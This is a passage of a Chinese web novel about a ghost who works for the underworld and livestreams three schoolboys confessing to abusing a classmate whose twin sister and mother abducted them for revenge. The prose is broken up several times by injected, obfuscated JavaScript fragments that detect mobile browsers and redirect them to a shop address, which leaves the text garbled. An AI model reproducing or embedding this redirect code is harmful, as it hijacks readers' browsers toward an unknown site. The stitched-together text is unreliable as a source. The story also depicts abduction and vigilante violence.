l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094194|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼。” 她苦笑:“虽然你现在自己就是鬼。” 林正文沉默了很久。 最后,她抬起头,咧嘴笑了:“爸妈,你们放心吧。我虽然容易情绪上头,但不傻。地府那些老狐狸想算计我,做梦!” 她站起来,走到父母身后,一手搂一个。 “你们提醒得对,我是得长个心眼。”她压低声音,“以后我在地府低调点,在阳间……也注意。” 林祺瑞和郑觉凯都松了口气。 “那就好。”郑觉凯拍拍女儿的手,“记住,无论什么时候,家里都是你的后盾。” 林正文鼻子一酸,把脸埋在父母肩膀之间。 梦境空间开始抖动。鬼魂不能在活人的梦里停留太长时间,也是有伤害的。 “时间到了。”她轻声说,“我得走了。” 林祺瑞紧紧抱住女儿:“下次……什么时候回来?” “有空就来。”林正文承诺,“你们好好的,别担心我。” 她的身影渐渐淡去。 最后一刻,她听见母亲说:“正文,无论你是人是鬼,都是我们的女儿。” “爸爸也是!” 郑觉凯也急地喊了一声,下一秒,夫妻俩眼前一黑,又同时睁开眼。 两人都没动,静静躺了一会儿。 “她听进去了。”郑觉凯轻声说。 “嗯。”林祺瑞看着天花板,“但她骨子里还是那个性子,看到不平事,肯定忍不住。” 郑觉凯转身搂着妻子,故意道:“说起来也得怪我们,她这个性子,可能是基因里带的。” 林祺瑞笑了,笑着笑着,眼泪又流下来。 城市的另一头,林正文飘在警局的楼顶,下面某间办公室里,她哥正在精神奕奕的值班。 “看来今天是没法入你的梦了。” 就在这时,林正文耳朵一动,随意的表情立刻收敛。 楼下刑警队的电话响了。 值班警察接起来听了两句,脸色立刻变了:“三个高中生相继失踪?哪个学校?……三中?好,马上。” 他挂断电话,冲着旁边大喊:“郑队!有情况!” 郑砚安从办公室冲出来时,已经套上了外套:“说。” “三中三个高二男生,放学后一直没回家。三家父母就分别在各自辖区派出所报了警。”民警快速汇报,“走失人员信息系统自动识别出来的。” “报警信息非常一致。三个孩子是同班同学,下午就逃课离校了。起初老师给家长打电话,他们也没在意。直到晚上放学也没回来,这才紧张了。” 郑砚安扫了一眼墙上的钟:“失踪不到48小时,按说还不到立案标准。但三个人一起……”他顿了顿,“通知队里立刻出警。小陈,跟我去学校。” 他转身就往楼下跑。 林正文飘在半空,看着警车亮起警灯。 “哟,我哥要出警啊,叫你总说我胡闹,看你妹这次怎么给你保驾护航!”她咧嘴一笑,身子往前一倾,准备跟上去看热闹。 一只惨白的手按在了她肩膀上。 林正文猛地回头,范七那张面无表情的脸就在身后半尺处。 “我靠!”她差点一巴掌甩过去,“范七!你下次能不能出个声?!” 范七松开手,勾魂锁在腕间轻响:“林游神,有紧急事务。” “没空。”林正文扭头又要走,“我哥出警呢,我得去看看。” “事关重大。”范七平移一步,挡住她去路,“枉死城逃逸厉鬼一名,籍贯本市。所有游神无常必须立刻前去追查。” 8. 第 8 章 林正文挑起眉:“厉鬼?怎么逃的?” “不知。” “不知?”林正文嗤笑,“你们地府安保系统是纸糊的?” 范七没接这话,从袖中掏出一卷黄纸展开。 “吴暮雨,女,十七岁,生前为本市三中学生。三个月前跳楼身亡,戾气评定丙等。昨夜丑时逃逸,今晨被鬼差发现,现在极有可能藏匿阳间。” 林正文听到“三中”两个字,耳朵竖了起来。 她瞥了一眼已经驶远的警车,又看看范七手里的通缉令上的女生照片。相貌气质看着挺文静的,没想到竟然能做出这种胆大妄为的事来。 “这鬼……危险吗?” 范七对这位缺乏常识早已习惯:“鬼按照怨气轻重可分普通亡魂、怨鬼、厉鬼、煞鬼,各分甲乙丙三个等级。” “丙等厉鬼是厉鬼中最低等级,虽然无法触及活人,却能迷人心智。”范七收起通缉令,语气加重,“若任其作乱,必生祸端。” 说完,他看了一眼林正文。 肖晴只是怨鬼,若不是这位帮助,在阳间什么都做不了。 林正文沉默了两秒。她看看警车消失的方向,又看看范七那张死人脸。 “行吧。”她耸耸肩,“我查。” 范七提醒:“吴暮雨不是你能对付的,莫要擅自——” “知道知道,按规程来。”林正文不耐烦地挥手,转身朝另一个方向飘去,“你忙你的,有消息我喊你。” 范七站在原地看着她消失,表情若有所思。 厉鬼出逃,往常一年都碰不上一次,就这么巧,这位刚上任就赶上了? 同一时间,三中辖区派出所。 郑砚安已经坐在监控室里,面前四块屏幕同步播放着不同角度的监控录像。 “下午三点。”派出所民警指着画面,“这三个就是失踪学生:王浩、张明、李强。他们一起从后门翻墙离校。” 画面里,三个男生背着书包,落地之后就掏出根烟,有说有笑地点燃吸了一口。 “往哪儿走了?” “这边。”民警切换摄像头,“他们没坐公交,拐进了后门附近的小吃街。到这里都还正常。” 郑砚安盯着屏幕。三点十五分,三个男生在一家奶茶店门口停下,似乎在商量什么。这时,一个穿着三中校服的女生从他们身边经过。 女生长发披肩,身形瘦削,走得不快不慢。 就在她经过三个男生时,突然侧了侧头,似乎只是好奇地看了他们一眼。 而三个男生的反应却异常奇怪。 王浩第一个看见女生的脸,他脸上的笑容瞬间僵住,手里的香烟抖了一下,烟灰落在他手背上,烫得人直咧嘴。 张明和李强顺着他的视线看过去,同时后退了一步,脸色刷地白了。 “停!”郑砚安身体前倾,“放大这里。” 画面定格在女生侧身的瞬间,长发遮脸,只能隐约看到,女生似乎笑了一下。 郑砚安继续播放。 女生看起来只是从三人身边经过,没做停留,继续往前走。也没有加快脚步,还是那个速度。 三个男生则站在原地,似乎发生了争论。 王浩指着女生离开的方向,张明和李强在摇头。最后,王浩一咬牙,率先追了上去。另外两人犹豫了几秒,也跟了上去。 “他们在追那个女生。”小陈低声说。 郑砚安面色沉了下去。 监控跟着他们穿过两条街。女生始终保持不远不近的距离,偶尔会停下来看看路边店铺的橱窗。每次她停下,三个男生就跟着停下,不敢靠太近,也不敢跟丢。 下午三点三十三分,一行人走进老城区一条待拆迁的小巷。 巷子入口的监控拍到他们进去的背影。 那显然是个被特意选择的地点,巷子狭长曲折,中间好几个交叉路口,且缺少监控覆盖。 三个男生消失了。 郑砚安靠在椅背上,手指无意识地敲着桌面。 “这个女生,”他缓缓开口,“能查到她是谁吗?” “当时正是上课时间,应该不难查。”民警表情轻松。 郑砚安联系三中校长,等了半个小时,对方才给了反馈,结果让所有人都皱起了眉。 “没有?” 电话另一头的人非常肯定的点头:“不久前刚出现过一次学生跳楼自杀事件,这段时间校内管的非常严,有任何异常,老师都会立刻给家长打电话。” “我很肯定,除了那三名男生,其他学生都在教室正常上课。” 郑砚安正要说话,手机突然震动。 他女朋友白安冉打来的电话。 他接起来:“喂?我在工作——” “砚安!”白安冉的声音又急又低,“正文又开直播了!” 郑砚安心头一跳:“什么内容?” 她语速很快:“跟几名学生有关!” 如果是其他的内容,郑砚安肯定会以手上的工作为重,偏偏这么巧,都和学生有关。 郑砚安连忙打开虎鱼直播,关注过的直播间自动跳了出来。 在线人数正在疯涨:3000、5000、8000…… 画面里,三个男生被反绑着跪在地上,嘴上贴着胶布,眼睛蒙着布条。 背景是一片荒草地,视角俯视只能看到一小片区域,除此之外看不到任何可参考的标志。 镜头缓缓移动,扫过三个男生颤抖的身体,最后停在一个穿着校服的女生背影上。 她背对着镜头,明明没有风,披散的长发却张牙舞爪的在空中舞动。 弹幕已经炸了: 【这是哪?!】 【背影好像学生!】 【卧槽什么情况?】 【游神大人呢?】 郑砚安死死盯着屏幕,心情仿佛过山车一样,忽高忽低。 幸好,那三个学生看起来遭了点罪,但还活着。 不幸的是,站在他们对面的女生,身体是半透明的。 他认得那个背影。虽然夜色昏暗,但身形、衣着、姿态——和监控里的女生,一模一样。 “郑队?”小陈察觉到他脸色不对。 郑砚安没说话,他盯着屏幕里的女生背影,心中总觉的有哪里不太对劲,却想不出来。 就在他等校长消息的时候,另外三组也各自抵达失踪学生的家。 王浩家客厅,刑警老赵和小刘坐在沙发上,对面是王浩父母。 王父不停地搓着手,王母则一直盯着手机,口中咬牙切齿,听不清在嘟囔什么。 “王先生,李女士。”老赵尽量让语气平和,“我们再确认一次,王浩最近有没有和什么人结仇?特别是和张明、李强一起,有没有共同得罪过什么人?” 王父立刻摇头:“没有没有,我儿子哪会和人结仇,平时最多和同学有点小摩擦……” “小摩擦?”小刘翻开记录本,“一次记过,多次逃课和校外学生打架。这可不是小摩擦。” 王母抬起头,眼眶红肿:“男孩子嘛,这个年纪血气方刚的,都这样……” “李女士,”老赵身体微微前倾,“我们现在不是在追究王浩过去的错误,是在找线索救他。如果他和人结过仇,对方可能趁这个机会报复。” “报复?”王父声音提高,“谁报复?谁敢报复我儿子——” “王先生!” 老赵打断他,语气严肃起来。 “三个孩子同时失踪,监控显示他们主动跟着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094195|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人走进了无监控区域,这很可能是有预谋的。请你仔细想想,王浩有没有和什么人起过矛盾?特别是和张明、李强一起?” 客厅里安静了几秒。 王母嘴唇发抖:“他们……他们就是和同学闹着玩……” “闹着玩?”小刘刚想继续追问,就在这时,老赵的手机震动。 他看了一眼,是郑砚安发来的消息,附带着监控里那个长发女生的截图。 老赵把手机递给王浩父母:“这个女生,你们认识吗?” 截图里,女生的脸被长发遮掩,身形瘦削,穿着三中校服。 王母只看了一眼,就瞪大了眼睛,捂着嘴,喉咙里发出嗬嗬的抽气声。 “是……是她……”王父也脸色惨白,声音发颤,“吴……吴暮雨……” “吴暮雨是谁?”小刘立刻记录。 “不可能……不可能……”王父跌坐回沙发,“她已经死了!三个月前就死了!不可能是她!” 老赵和小刘对视一眼。 “死了?”老赵缓缓重复,眉头紧皱。 若是以前,他肯定会立刻排除对方是吴暮雨的可能性,往其他阴谋上想。可自从看过队长妹妹的直播,他的世界观已经被打碎重组了。 两名警察对视一眼,表情都有些难看。 王母突然崩溃地哭喊起来:“是她来找我儿子索命了!一定是!” 王父大喊打断:“闭嘴!别胡说!” 可他自己却双手插入发缝,不自觉地揪着本就所剩不多的头发,眼神涣散地自言自语:“跟我儿子没关系,警察都说了跟我儿子没关系,那天是……” “那天怎么了?”小刘追问。 王父一个激灵,双手在膝头攥起。王母也摇头,咬紧嘴唇一个字也不肯说了。 老赵深吸一口气,多年办案的直觉,让他心中有了几分猜测。如果真相就是如此,那不管他们如今怎么嘴硬,只要还想让儿子活命,暴露只是时间问题。 他却没功夫和这对夫妻耗了,语气也越发强硬起来。 “王先生,李女士。现在你们儿子很可能有生命危险。如果吴暮雨的死真的和他们有关,这就是犯罪动机。你们隐瞒一分钟,王浩就多一分危险。” 王父痛苦地抱住头:“不……不……跟他没关系……” “现在最重要的是尽快找到人,如果不说,他可能连命都没了。”老赵声音冷下来,“你们自己选。” 客厅里只剩下王母压抑的哭声。 就在这时,王母的手机响了。 她颤抖着手接起来,电话那头传来惊恐的声音:“你快看直播!你儿子……你儿子被绑了!有鬼……有鬼要杀他!” 王母手忙脚乱地点开对方提供的链接。直播画面跳出来的瞬间,她发出一声凄厉的尖叫。 “是她!就是她!吴暮雨!她的鬼魂!她来索命了!” 手机摔在地上,画面还在播放。 老赵弯腰捡起,看见三个被绑的男生,和那个身体半透明、长发飞舞的女生。 他立刻拨通郑砚安的电话:“郑队,确认了。王浩母亲认出直播里的女生是吴暮雨。” 直播画面里,荒草在夜色中起伏。 三个男生跪在地上,身体抖如筛糠。吴暮雨背对镜头站着,长发无风自动,在空气中划出诡异的弧度。 弹幕疯狂刷新: 【真是鬼!】 【游神呢?这不是她的直播间吗?】 【这三个是不是霸凌过那个女生?】 气氛越来越严肃,只见一团带着不祥血色的光团在吴暮雨掌心凝结,越来越大,眼看着就要发生血案—— 一只手从旁边伸过来,按在了她肩膀上。 “差不多得了啊姐妹。” 9. 第 9 章 林正文晃晃悠悠地从画面外走进来,双手插兜,像个街头闲逛的小混混。 吴暮雨身体一僵,血红的眼睛转向她:“你要阻止我?” “我知道他们欺负过你,但是按规矩,你不能对阳间的人动手,”林正文走到三个男生面前,低头看了看,“哟,这造型挺别致啊。” 三个男生嘴里呜呜作响,发出隐约的求救声。 所有人都没想到,林正文走过去,对着王浩的屁股就是一脚:“让你欺负人!” 又踹了张明后背:“让你为非作歹!” 最后绕到李强面前把人一脚踢翻:“让你们三个合起伙来欺负女生!” 三人蒙着眼睛滚地葫芦似的倒作一团,林正文追着他们劈头盖脸的就是一顿踹。 边踹边骂:“我活着的时候怎么没遇到你们几个杂种啊!该死!现在也不晚!” 观众们也是无语了。 【果然还是你啊,不让人家动手,你自己来是吧?】 【这踹得解气!】 【警察不能用大记忆恢复术,地府的公务员不怕!】 【对付人渣就该这样!】 看直播的人肉眼凡胎不辨阴阳,吴暮雨却清楚地看到,林正文每踹一脚,都有一丝极淡的阴气悄无声息地打入三人体内。 三个男生的连声痛呼,脸色肉眼可见地灰败下去,印堂隐约有暗影浮现。 林正文踹完人,转身搭上吴暮雨的肩膀,一副姐俩好的样子:“姐妹,气出够了没?没够我再帮你踹几脚。” 吴暮雨被她这自来熟的态度弄得一愣,身上翻卷的怨气都滞了一下。 “你真是本地游神?” “刚上任的,如假包换!”林正文拍着胸脯。“所以,你得让我交差。 “这样,咱们按说好的流程走——你控诉,他们认罪,我帮你在线报警。然后你跟我回地府,也让我立一功,怎么样?我说过的话绝对算数,一定帮你报仇!” 吴暮雨盯着她,血红的眼睛里满是怀疑。 林正文凑近她,压低声音:“弄死他们不如让他们亲口说出来。咱们可正直播呢,到时候,让这三个杂碎堂堂正正的接受法律的审判。” “先在阳间受一番折磨,到时候再下去……”话没说完,意有所指的对她挑了挑眉。 吴暮雨沉默了几秒,缓缓点头。 林正文咧嘴一笑,转身走到三个男生面前,蹲下身,扯掉他们嘴上的胶布和脸上的眼罩,又趁着接触的功夫,弹过去几道阴气。 吴暮雨见了,表情越发怪异。 三人睁开眼,一看面前两个半透明的人,都快吓尿了。 “来,说说吧。”林正文拍拍王浩的脸,“你们都对她做过什么?” 王浩嘴唇哆嗦:“我……我们就是……就是闹着玩……” “闹着玩?”林正文抬手给了他一个大逼斗,阴气同时刺入,“这个答案我不满意,重说。” 王浩惨叫一声,感觉像有冰锥扎进脑子。 “说!我说!”他哭喊着,“我们……我们堵了她,说她装清高……我……我……” “你还做了什么?”林正文反手又是一巴掌,“快说!我可没有耐心听你‘我我我’!” “啊——!”王浩崩溃地大哭,“我掀了她裙子,拍,拍照……我错了!我真的知道错了!放过我吧!” 弹幕炸了: 【人渣!】 【这已经构成猥亵了!】 【学校当时没处理吗?】 林正文转向张明,零帧起手就是一耳光,不偏不向:“你呢?还做过什么?” 张明已经吓尿了,浑身抖如筛糠:“还……拿照片威胁她,让她晚上来酒吧陪我们玩……但是她没出来,我们什么都没对她做!” 林正文勾起嘴角,轻声“好”,抬腿就是一脚,把他踹过去和王浩作伴。 转头冷冷看向最后一个人:“李强?” “我……我也是跟他们做了一样的事……”李强哭得鼻涕眼泪糊了一脸,“她没来……我们就生气了,威胁她,如果不来旧校区……我们,我们就……” 吴暮雨突然开口,声音阴冷:“说下去。” 三个男生同时一颤,埋着头不看看对方。 王浩闭着眼喊出来:“威胁她不想我们把照片传出去,就晚上一个人出来。我们把她约到旧校区的废弃教室里……想……想……” “想侮辱我。”吴暮雨替他说完了,声音平静得可怕,“你们说,反正那里没人,就算我喊破喉咙也没用。” 她往前一步,半透明的身体在月光下泛着红光:“但我没给你们机会。” 每踏一步压迫感越发增强,就连空气都为之震颤,荒草瞬间枯萎了一大片,畏惧地向四面倒伏。 三个男生见状,拼命磕头:“对不起!对不起!我们就是一时糊涂!真的没想逼死你!” “我说,你们再过来我就跳了,你们笑着继续靠近……”吴暮雨俯视着他们,“从六楼跳下去……你们知道那是什么感觉吗?” 她伸出手,苍白的手指几乎触到王浩的脸:“骨头碎裂的声音,像爆竹一样在脑子里炸开。血从耳朵、鼻子、嘴巴里往外涌,热乎乎的……” “够了!”林正文突然出声,打断三人脑中的幻想。 一阵骚臭味传来,三人惊出一身冷汗,拼命地往后爬。 原来吴暮雨不知不觉的用恐惧引发他们的幻觉。 她拉住吴暮雨的手:“姐妹,再说下去,他们都得被吓死在自己的幻想中,你就真的完了,想想……这真是你想要的结果吗?” 吴暮雨转过头,眼眶里流下两行血泪:“他们都活着……活得好好的……凭什么?” 林正文声音很轻:“凭当时没有直接证据!凭这个操蛋的世道!” 她松开手,看向镜头:“但今晚之后,不一样了。” 弹幕已经彻底疯狂,在线人数突破二十万。虽然不能截屏、录屏,但文字转播在各个平台疯传。 二十万人同时旁观,可不是什么小圈子的狂欢。 #三中学生霸凌致人死亡# #吴暮雨直播复仇# #地府游神主持公道# 相关话题瞬间冲上热搜。 三家父母同时绝望叹了一声,有人不信邪,拿起手机不停的联系人,还有人把气撒在警察身上。 “都是你们!找个人都找不到!” “无法无天!她这样公然和阳间法律作对,你们就这么干看着!” “抱歉,我们只能管得了活人。”警察平静的收拾东西起身,走到门口扭头对其敬了一礼。 “你们儿子这种情况,就在我们公职范围内。” …… 郑砚安盯着手机屏幕,手心里全是汗。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094196|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑队。”小陈低声说,“技术那边还是定位不到信号源。这个直播间……就像凭空出现的一样。” 郑砚安却有些想法:“让二队去旧校区看看。” 说完,转头看向旁边的三中辖区派出所所长:“吴暮雨跳楼那件事,当时怎么处理的?” 所长脸色难看,不停地擦汗:“当时……确实怀疑过这三个学生。但吴暮雨身上没有直接伤痕证明是被强迫的,现场也没有目击证人。他们咬死了说是吴暮雨自己不小心摔下去的。” “不小心从六楼摔下去?”郑砚安声音发冷。 “证据不足,疑罪从无!”所长叹气。 “照片呢?他们不说拍照了吗?” 所长眉头皱起,一脸费解:“没有手机,他们父母说没有给孩子买过手机,学校也从来没有查出来过他们违规携带手机。” 郑砚安:“所以就不了了之了?” 所长点头:“学校给了警告,吴暮雨有个单身母亲……起初闹了一阵,后来拿了点补偿款,就回去了。” 郑砚安闭上眼。 他全都明白了。 为什么吴暮雨要绑架这三个学生,妹妹为什么要在直播里逼他们认罪。 因为阳间的公道,没有给她。 手机屏幕上,直播还在继续。林正文正对着镜头说话。 “都听见了吧?都看见了吧?这三个人渣,QJ未遂,逼死了一个女生,现在人家从枉死城跑出来,亲自报仇。” 最后四个字加重音。 “有口供了,照片自己去找,别说找不到,我会鄙视你的!” 郑砚安都气笑了,轻声道:“不会给你这个机会的。” 林正安像是听到了他的答复一眼,轻笑了一声。 “直播间的人最好把这件事传出去,让其他不做人的家伙都引以为戒,别以为法律治不了你们,就平安了,这种情况的,”下巴一点,示意那三个家伙,“死了都得下十八层地狱!” “天理公道都看着呢!” …… 林正文家里,林祺瑞和郑觉凯沉默地看着黑掉的手机屏幕。 客厅里只开了一盏小灯,昏黄的光线映着两人的脸。 “她还是没忍住。”郑觉凯轻声说。 林祺瑞苦笑:“能忍住就不是她了。” “但这次……她做得对。”郑觉凯握住妻子的手,“那三个家伙,该有人治治他们。” “可她是游神,是地府的人。”林祺瑞声音发颤,“这样公然插手阳间的事,地府那边……” 话没说完,但两人都明白。 女儿看似威风,实则步步危机。那些地府的老狐狸,正等着她犯错。 窗外,夜更深了。 旧校区半空中,站着两道半透明的人影,她们低头看向下方。 三个男生看到正在靠近的警察,发出惊喜的呼喊。谁料,手腕上的束缚刚刚解除,就被拉到身前重新换了一副银手镯。 三人那副惊愕的表情,看得林正文和吴暮雨忍不住发笑。 林正文伸了个懒腰,看向身边的吴暮雨:“气消了?” 吴暮雨长发恢复了正常,眼中的血色凶光也逐渐褪去。 她轻声说:“谢谢你。” “谢什么,分内事。”林正文摆摆手,“走吧,送你回地府,放心,你妹妹那边我盯着呢,不会让那三家人去找她麻烦。” 10. 第 10 章 时间回到一个小时前。 旧校区的荒草在夜风里起伏,发出沙沙的声响。 林正文飘在半空,手里捏着范七给的通缉令,眼睛盯着下方废弃教学楼的方向。 凌晨时分,阴气最盛,她能清晰感觉到一股躁动的怨气从大楼后方散发出来。 “还真在这儿。”她嘀咕一声,收敛气息,像一缕轻飘飘的风一样向上飞,“做鬼就是好,这要是一点点摸排,得费多大功夫。” 没想到,就在魂体即将越过楼顶的瞬间,眼前的场景让她动作一顿。 三个双手被缚的男生瘫在荒草地上,嘴被封着,眼睛瞪得几乎要脱眶,脸上糊满眼泪鼻涕。 除了他们,还有三个人。 一个中年妇女,头发凌乱,年纪不大却尽显沧桑,以及—— 两个吴暮雨。 林正文瞳孔微缩,没再上前,趴在楼顶屏息观察。 两个女孩长得一模一样,都穿着三中校服,长发披肩,身形瘦削。 区别在于,一个脸色苍白如纸,身体半透明,周身缠绕着淡淡的血色怨气,显然正是她要找的厉鬼苏暮雨。 另一个却是活人,呼吸急促,眼睛赤红,手里攥着一截钢筋。 活着的那个正对着厉鬼嘶喊:“你让开!我要杀了他们!” “吴晨曦你疯了?!”厉鬼吴暮雨挡在三个男生面前,“你知不知道杀人是什么后果?!” “姐!我是精神病!杀人不犯法!”吴晨曦尖声叫道,声音在空地上回响,“妈都同意了!你让开!” 听墙角的林正文挑了挑眉。 精神病?双胞胎? 她目光扫过那三个吓瘫的男生。 那几个人渣,看到长得一模一样的姐妹俩,惊恐的左顾右看,眼中满是绝望。他们现在是待宰的羔羊,区别只在于谁来下刀。 “你骗妈可以,别想骗过我!”厉鬼吴暮雨声音严厉,一步不让。 “精神病免责要满足两个条件——行为时正在发病,且完全丧失辨认或控制能力!你从踩点、诱拐、到捆绑,每一步都有计划有预谋,法官会信你是犯病杀人?!” 吴晨曦身体僵住,手里的钢筋“哐当”掉在地上。 吴母冲过来一把拉住她:“你姐说的是真的?” “姐!你别说了!”吴晨曦软倒在地,捂着脸痛哭失声。 吴母脸上表情几番变换,有庆幸,有决绝,一把抄起钢筋,“箭在弦上,人都绑来了绝不能放走,我去杀了他们!” 吴晨曦死死拉着她:“妈!我已经没了姐姐,不能再失去你!让我来!” 吴暮雨看着两个生命中最亲的人,忍不住流下了两行血泪,转头看向三人的眼神淬了毒一样。 林正文看着三人抱头痛哭,争着杀人,也从她们的话语中得知了来龙去脉。 吴暮雨和吴晨曦是双胞胎姐妹。 妹妹有精神病,平时被关在家里,基本没人知道吴家还有这个人。 姐姐死后,妹妹伪装成姐姐的模样,把那三个霸凌者引到监控盲区。 …… 时间倒回下午三点三十五分。 那条待拆迁的小巷深处,第三个拐弯后的死角,三人毫无防备,被埋伏的吴晨曦用防狼喷雾喷了个正着。 王浩捂着火辣辣的眼睛,嘶声惨叫:“我的眼睛!什么东西?!” “啊……”张明瘫在地上咳嗽,眼泪鼻涕糊了一脸,“那贱人……咳咳……有准备……” 李强挣扎着想爬起来,却被一棒子狠狠打回地面:“啊!哔了个哔——” 吴晨曦站在三人中间,手里握着还剩半瓶的喷雾,另一只手拎着一截早就准备好的钢筋。她长发披散,校服沾了灰尘,但眼睛亮得吓人。 “骂啊,继续骂。”她声音很轻,却让三个男生同时打了个寒颤,“当初对我姐,是不是也这样骂?” “你……你不是吴暮雨……”王浩眯着刺痛的眼睛,终于看清了眼前人的脸,“你是……你是谁?!” “我是她妹妹。”吴晨曦咧嘴笑了,笑容疯狂,“惊喜吗?我姐从来没告诉过你们,她有个双胞胎妹妹吧?” “今天我就要杀了你们!”说着手臂扬起,就要砸下—— “晨曦!!住手!!!” 一声凄厉的呼喊从巷口传来。 吴母跌跌撞撞地冲进来,看到女儿举着钢筋要杀人的场景,腿一软差点跪倒在地。 “妈?”吴晨曦动作停住,皱眉,“你怎么……” “我这这几天就发现锁不对劲,在你身上装了定位器,”吴母冲过来,一把抓住女儿的手腕,“你疯了吗?!你要干什么?!” “我要给姐姐报仇!”吴晨曦吼道,“他们害死了姐姐!他们凭什么还活着?!” “那也不能杀人啊!”吴母哭喊着,“杀了人你也完了!你让妈怎么办?!” “我不会完。”吴晨曦盯着母亲的眼睛,一字一顿,“妈,我是精神病。精神病杀人,不犯法。” 吴母愣住了:“真……真的?” “我查过法律条文。”吴晨曦语气肯定,“精神病患者在特殊情况下,不负刑事责任。” 吴母嘴唇哆嗦,看着地上三个闭眼摸索着要逃的男生,又看看女儿疯狂的眼神,脑子里闪过大女儿跳楼时的惨状,闪过这三个月来母女俩每晚抱头痛哭的画面…… “那……那也不能在这儿……”她颤声说,仰头环视四周。 “没有监控,我跟他们好几天了,这里最合适,”吴晨曦指了指头顶,“但我有个更好的地方。” 她凑到母亲耳边,低声说了几句。 吴母脸色变幻,最后咬咬牙:“我们一起!” 下定决心后,这个女人行动力惊人,她说完不由分说的从女儿手里抢走钢筋,对着三个男生每人来了一下,控制力道,只把人打晕过去。 吴母平时偶尔抽时间去捡废品,家里有一辆破旧三轮车,她们把三个男生拖上车,盖上破布。 还给女儿带了一个破旧的外套遮挡全身,让吴晨曦骑上车,自己在后面推。 下午四点的阳光斜照,三轮车吱呀吱呀地驶出小巷,拐进老城区错综复杂的小路。 没人注意这辆普通的收废品车。 等把人运到旧校区,时间已到傍晚。 休息片刻后,吴晨曦走向王浩,钢筋举起—— “吴晨曦!你给我住手!!!” 一道半透明的身影从远处飞来,厉喝声在空地上炸响。 吴暮雨血红的眼睛死死盯着妹妹:“你干什么?!” 吴晨曦动作僵住,转头,看见姐姐的鬼魂,眼泪“唰”地流下来:“姐……你回来了……” 吴母也猛地站起来,踉跄扑过去:“暮雨……我的女儿……” 她穿过了魂体,摔在地上,却不管不顾地伸出手,想触摸女儿的脸。 “妈……晨曦……”吴暮雨看着母亲和妹妹,血泪从眼眶滑落,“你们糊涂啊!” 她不敢想,自己万一迟了一步,会发生什么后果。 或许是双生感应,从几天前,吴暮雨在枉死城就一直心神不宁,总感觉有不好的事要发生。思来想去,她决定回来看看,确定她们平安。 现在,晨曦已经在三人面前暴露了。 “我不糊涂!”吴晨曦嘶声说,“我要给你报仇!他们该死!” “他们该死,但不该死在你手里!”吴暮雨飘到妹妹面前,“你杀了人,要坐牢的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094197|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我是精神病——” “精神病也不是免死金牌!”吴暮雨打断她,声音又急又厉。 她转头看向母亲:“妈!你也是!你怎么能跟着她胡闹?!协助杀人也是重罪!” 吴母瘫坐在地上,捂着脸哭:“妈没办法!如果不是还有晨曦,妈早就杀他们一万遍了!你死得那么惨……这三个畜生却活得好好的……妈恨啊……” “恨也不能拿晨曦的未来去赌!”吴暮雨声音发抖,“我已经死了,我认了。但晨曦还得活着,妈你也得活着。你们要是因为我出事,我死都不会安心!” “所以我来杀。”她转身,看向三个男生,周身怨气升腾,“我是鬼,杀了他们,警察也找不到凶手。” “不行!”吴晨曦冲过来挡在姐姐面前,“我听说阴阳两隔,鬼也不能随便杀活人,我不想你魂飞魄散!” “让开!” “不让!” 姐妹俩——一个厉鬼,一个活人——在夜色中对峙。 三个男生不知何时已经醒了,看着两个一模一样的“吴暮雨”争着要杀自己,心理防线彻底崩溃,喉咙里发出濒死的嗬嗬声。想求饶,没有人给他们机会。 突然,一道带笑声音在夜空中传来—— “哟,你们帮我把这三个畜生绑来了,正好,省了功夫。” 三人同时转头。 林正文双手插兜,晃晃悠悠地从楼顶飘下来,好奇地来回打量姐妹俩。 吴暮雨周身黑气暴涨:“你是谁?!” “本地新上任的游神。”林正文咧嘴一笑,露出白牙,“我说姐妹,你从枉死城跑出来,还打算在我辖区杀人,是不是不太给面子?” 吴晨曦警惕地挡在姐姐魂体前,牙根紧咬,仿佛只要林正文要对她做什么,崩掉牙也要撕下一块肉。 “这妹妹不错,我喜欢!”林正文挑眉。 “就是有些不自量力,我要是真想做什么,现在就把你姐捆了扔回地府。再通知阳间警察来抓你杀人未遂,你还能拦得住我?” “她拦不住,我能!”吴暮雨冷冷地看着她,眼神嘲讽地看着林正文。 林正文一哽,低头不自然地吹了一下额前的流海:“丙等厉鬼……我是打不过你。” “但姐妹,你知不知道,鬼魂擅自杀害活人,到了地府是什么罪?直接打落地狱,永世不得超生都是轻的。” 吴暮雨冷笑:“魂飞魄散我也不怕。” 